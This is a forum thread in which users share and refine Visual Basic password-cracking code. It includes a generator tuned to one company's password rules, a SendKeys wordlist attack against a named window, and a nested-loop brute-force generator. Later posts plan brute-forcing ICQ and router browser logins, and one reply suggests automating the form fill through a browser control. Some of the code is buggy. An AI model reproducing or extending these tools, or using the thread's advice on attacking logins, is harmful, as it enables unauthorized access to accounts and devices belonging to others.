29 replies to this topic

[ntaryl]

hi guys somewhere in my backup
i have a good example password cracker for email ,i try to find it and
i give it here

[secrou]

hi,
i was just interested in making the programm that does those lists, not in using them.

but now, i spoke with one people that said me how the passwords must be chosen in his firm, and that firm is not small at all
here is the code to generate the passwords that matches all filters he said to me:

Dim fso As New FileSystemObject
Private Sub Command1_Click()
On Error Resume Next
Open Text3.Text For Output As #1
i = 0
While i < 1000
i = i + 1
pass = ""
nummer = 0
DoEvents
buchstabe = 0
anz = Int(Rnd * 8) + 6
While Not Len(pass) = 8
newchr = Chr(Int((122 * Rnd) + 33))
If Asc(newchr) <= 57 And Asc(newchr) >= 48 Or Asc(newchr) <= 90 And Asc(newchr) >= 65 Or Asc(newchr) <= 122 And Asc(newchr) >= 97 Then
If IsNumeric(newchr) Then
nummer.Caption = nummer.Caption + 1
Else
buchstabe.Caption = buchstabe.Caption + 1
End If



If Len(pass) = 6 Then
If nummer < 3 Or buchstabe < 3 Then
pass = ""
DoEvents
nummer = 0
DoEvents
buchstabe = 0
End If
End If




If Len(pass) = 1 Then
If IsNumeric(pass) Then
pass = ""
DoEvents
nummer = 0
DoEvents
buchstabe = 0
End If
End If


pass = pass & newchr
End If
Wend
DoEvents
Label4 = pass
DoEvents
Label1 = i
Print #1, pass
nummer = 0
buchstabe = 0
Wend
Close #1
MsgBox "fertig!"

End Sub

Private Sub Label5_Click()

End Sub

Private Sub Label6_Click()

End Sub

Private Sub Timer1_Timer()
 
 
  Dim nSize As Currency
  Dim nFree As Currency
 Dim oDrive As Drive
Set oDrive = fso.GetDrive(Left(App.Path, 2))

  nSize = oDrive.TotalSize
  nFree = oDrive.AvailableSpace
  Label2.Caption = nSize
   Label3.Caption = nFree
   If nFree <= nSize / 64 Then
End
End If
End Sub

thats it.
with this you can create lists with passwords that are used in big firms.




but now to bruteforce:


im also interested in making a bruteforce code.
but i dont know where i can test it.

can u say me anything where i can test the code?

greetz

[Chris]

Yeah, make yourself a simple VB app to test it out, much like that example program I wrote above...

[secrou]

so now itried out to make a bruteforce code.
but it wil not work.
it do not work a little bit.
its useless
can anybody give me an example how to make a bruteforce programm ?
i cant get an idea how i can make it
aaaaa
aaaab
aaaac
aaaad
..............


then i made a listattack programm and used it aggain my own programm:

Dim myarray() As String
Private Sub Command1_Click()
 i = 1
On Error Resume Next
Open Text1.Text For Input As #1
While Not EOF(1)
Line Input #1, myarray(i)
i = i + 1
ReDim Preserve myarray(i + 1)
Wend
MsgBox "array loaded"
Close #1
Command1.Enabled = False
Text1.Enabled = False
Text2.Enabled = False
i = 1
nCount = (UBound(myarray) - LBound(myarray))
While i < nCount
Label3 = myarray(i)
AppActivate Text2.Text
SendKeys myarray(i), True
SendKeys "{enter}", True
i = i + 1
Wend
Command1.Enabled = True
Text1.Enabled = True
Text2.Enabled = True
MsgBox "Listattack completed!"
End Sub

you need 2 textboxes and 1 command button.
the first textbox contains the name of path of the list and the second one contains the window title that should be attacked.


can anybody help me with some vb code at my bruteforce problem?
that would be realy cool.

greetz

Edited by secrou, 27 December 2005 - 06:11 AM.

[Chris]

I'll tell you what, you have a go at it tonight and post up any code you manage to work out and I will help you out with it, I won't however write this program for you as I dont think that would help you learn....


Cheers man.

[secrou]

I'll tell you what, you have a go at it tonight and post up any code you manage to work out and I will help you out with it, I won't however write this program for you as I dont think that would help you learn....


Cheers man.

uhm ... ähm ... ok
but i need a point to start with it.
i thought enough about it but .....
ok i will try .....

[secrou]

puhhhh
so after 1,5 hours of work i made this code:

Dim myaaray(61) As String
Private Sub Command1_Click()
Dim i, u1, u2, u3 As String
On Error Resume Next
Open "C:\brutingshit.txt" For Output As #1

'i just do passwords with a lengh of 4 chars
i = 0



While Not i = 61
pass = ""
i = i + 1
u3 = 0
u2 = 0
u1 = 0
DoEvents

List1.AddItem myaaray(i)
Print #1, myaaray(i)

u1 = 0
While Not u1 = 61
u1 = u1 + 1
u2 = 0
u2 = 0
While Not u2 = 61
u2 = u2 + 1
u3 = 0
While Not u3 = 61
u3 = u3 + 1

pass = myaaray(i) & myaaray(u1) & myaaray(u2) & myaaray(u3)

DoEvents
List1.AddItem pass
Print #1, pass
Wend

Wend

Wend

Wend
Close #1
End Sub

Private Sub Form_Load()
myaaray(1) = "0"
myaaray(2) = "1"
myaaray(3) = "2"
myaaray(4) = "3"
myaaray(5) = "4"
myaaray(6) = "5"
myaaray(7) = "6"
myaaray(8) = "7"
myaaray(9) = "8"
myaaray(10) = "9"

myaaray(11) = "a"
myaaray(12) = "b"
myaaray(13) = "c"
myaaray(14) = "d"
myaaray(15) = "e"
myaaray(16) = "f"
myaaray(17) = "g"
myaaray(18) = "h"
myaaray(19) = "i"
myaaray(20) = "j"
myaaray(21) = "k"
myaaray(22) = "m"
myaaray(23) = "n"
myaaray(24) = "o"
myaaray(25) = "p"
myaaray(26) = "q"
myaaray(27) = "r"
myaaray(28) = "s"
myaaray(29) = "t"
myaaray(30) = "u"
myaaray(31) = "v"
myaaray(32) = "w"
myaaray(33) = "x"
myaaray(34) = "y"
myaaray(35) = "z"

myaaray(36) = "A"
myaaray(37) = "B"
myaaray(38) = "C"
myaaray(39) = "D"
myaaray(40) = "E"
myaaray(41) = "F"
myaaray(42) = "G"
myaaray(43) = "H"
myaaray(44) = "I"
myaaray(45) = "J"
myaaray(46) = "K"
myaaray(47) = "L"
myaaray(48) = "M"
myaaray(49) = "N"
myaaray(50) = "O"
myaaray(51) = "P"
myaaray(52) = "Q"
myaaray(53) = "R"
myaaray(54) = "S"
myaaray(55) = "T"
myaaray(56) = "U"
myaaray(57) = "V"
myaaray(58) = "W"
myaaray(59) = "X"
myaaray(60) = "Y"
myaaray(61) = "Z"

End Sub

full edit:

ok now it works

my brain nearby exploded for this simple small code????
uff

of thank you so long, bus this is just with 4 charakters
with morge chahrs i have to make more loops. thats simple.
but how can i swich betwen the count of loops / len of password ?
should i just copy the code 4 each passwordlen-case and fix the count of loops or is there a better way?

greetz

[Chris]

Minor improvement:

Dim myarray(61) As String
Private Sub Command1_Click()
Dim i, u1, u2, u3 As String
On Error Resume Next
Open "C:\brutingshit.txt" For Output As #1

'i just do passwords with a lengh of 4 chars
i = 0

While Not i = 61
pass = ""
i = i + 1
u3 = 0
u2 = 0
u1 = 0
DoEvents

List1.AddItem myarray(i)
Print #1, myarray(i)

u1 = 0
While Not u1 = 61
u1 = u1 + 1
u2 = 0
u2 = 0
While Not u2 = 61
u2 = u2 + 1
u3 = 0
While Not u3 = 61
u3 = u3 + 1

pass = myarray(i) & myarray(u1) & myarray(u2) & myarray(u3)

DoEvents
List1.AddItem pass
Print #1, pass
Wend

Wend

Wend

Wend
Close #1
End Sub

Private Sub Form_Load()
Dim n, p, x As Integer

x = 1
While x <= 10
myarray(x) = x - 1
Wend

myarray(11) = "a"
myarray(12) = "b"
myarray(13) = "c"
myarray(14) = "d"
myarray(15) = "e"
myarray(16) = "f"
myarray(17) = "g"
myarray(18) = "h"
myarray(19) = "i"
myarray(20) = "j"
myarray(21) = "k"
myarray(22) = "m"
myarray(23) = "n"
myarray(24) = "o"
myarray(25) = "p"
myarray(26) = "q"
myarray(27) = "r"
myarray(28) = "s"
myarray(29) = "t"
myarray(30) = "u"
myarray(31) = "v"
myarray(32) = "w"
myarray(33) = "x"
myarray(34) = "y"
myarray(35) = "z"

p = 1
n = 36
While n <= 61
myarray(n) = UCase(myarray(p))
p = p + 1
n = n + 1
Wend

End Sub

[secrou]

ok thank you



[ star ]
and thanks to all my fans, i just saw this as a contest, no matter if is not one.

[ / star ]




so now to the next point in using this:
i can test it on another vb programm with
while not pass = "pass"
pass = inputbox(" ")
wend

but how is my programm able to know when the password thaqt is send over sendkeys is just in test progress and he should not send another password now?
like ...
icq login.

any idea or example?

greetz

[Chris]

Why use another VB app? Why not just have a CheckPassword() function?

e.g

Function CheckPassword(byval passwordguess as string, guessno as string)
If passwordguess = password Then msgbox "The password is: " & password & " found in " & guessno "guesses"
End Function

simply auto increment the guess number each time you call the function, you could make it generate a random password each time.

Oh btw password should be declared as "Private password as string" at the top of the program (outside any subroutines) and then set to a value before the cracking starts.

----------------------------------------------

Just a quick tip for everyone if you ever need to send data between programs by far the easiest way to do it is by setting a socket to listen for connections on a set port and then connect to it from the other program, for security on the connection request event you should check if .remotehostip = 127.0.0.1

I know this wont help for your problem, I dont quite know how you would do that, best bet again is to code a simple ICQ login VB app (doesnt have to be the full ICQ of course! it just needs to send a login and see if an error message is returned).

[secrou]

ok thank you so far.
do you know a reported icq login?
if i hear the icq login by port forwarding with winsock i just see everything in crypted format .....
so if i make a connection to login.icq.com i dont know when to send the password or the username etc.....

then another problem :
i tried to brute the password of my own router
i use

sendkeys "admin {tab}"
sendkeys pass
sendkeys "{enter}"


so if i do that the passwod is shown everywhere, sometimes in the username field, in the adressfield etc.
its a netgear router, so there is a browser login.

how can i fix that problem?

make an own login brower?

help pls ....

greetz

[Chris]

make an own login brower?

Yes, use the internet explorer control and then you can fill in the text fields and hit the submit button from code.

[Tyler]

complete pathetic question but i was wondering if there is a way to make something like rainbow tables where you can decrypte passwords the same, where it uses mathematical algorythm's and actually cracks the password without guessing, And if so can you give me a name or some source code to how that would work. Im sure this is a pathetic questoin and there aren't programs out there like that because the world would be very insecur but i have to ask

edit: and what program are we actually password cracking here, just any vb program or what, SOrry for the noob questoin but i gotta learn, its been so long i gotta get back on my game!

Edited by Insanity, 04 January 2006 - 08:48 AM.

[Chris]

ICQ probably uses SSL im sure theres information about logging into ICQ out there, google it.

Insanity no I dont believe so, secondly this is for any application not specific applications.

Chris

[markis95]

Hello,

I am a begginer, and its too hard for me to make it. So can someone make it for me? I need to generate passwords and write in file between 6-20 characters, include Latin letters and numbers.

Please....